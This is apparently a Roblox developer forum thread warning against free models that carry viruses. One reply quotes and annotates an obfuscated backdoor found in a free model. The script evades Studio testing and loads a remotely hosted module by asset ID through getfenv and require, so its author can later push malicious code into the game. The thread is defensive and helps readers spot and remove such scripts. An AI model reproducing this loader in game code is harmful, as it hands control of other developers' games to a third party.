I personally wouldn’t use anything that is free modeled myself because there is a chance of it being a virus. I would get an anti-virus plugin and it could scan your game and check if you have any viruses. If you are having trouble scripting a sword there are many tutorials!
Recommend using an anti-virus plugin in-case you are using free models to avoid harmful damages to the games you are currently making. And I recommend too to use your own scripts
This script seems like it could be a virus script as it is obfuscated and seems like it could be inserting a random module that could do harm to your game. Anything that is obfuscated, requires something and uses getfenv should set red flags off because more often than not scrips that have a combination of these things could be doing something dangerous to your game.
Just remove the script with this line of code in and check your game for any other malicious script that you have inserted.
--If you are running it in studio it won't work
if game:GetService('RunService'):IsStudio() then return end
--It loads a module script into your game
if not pcall(function()
local description = game:GetService('MarketplaceService'):GetProductInfo(4586241882)['Description']
description(tonumber(description:match('%d+')))
end) then
pcall(function()
getfenv()['require'][4580285778<U+202C>]
end)
end
Here’s the module script that it loads to your game:
But when I looked at the module script that it loads to the game:
The point of doing it that way is that they’ll be able to update the module at will to inject a virus in your game whenever they want. It might look like it does nothing now, but they can later edit the module to be malicious without you realizing. They don’t do this immediately because they want their module to get into as many games as possible before being caught.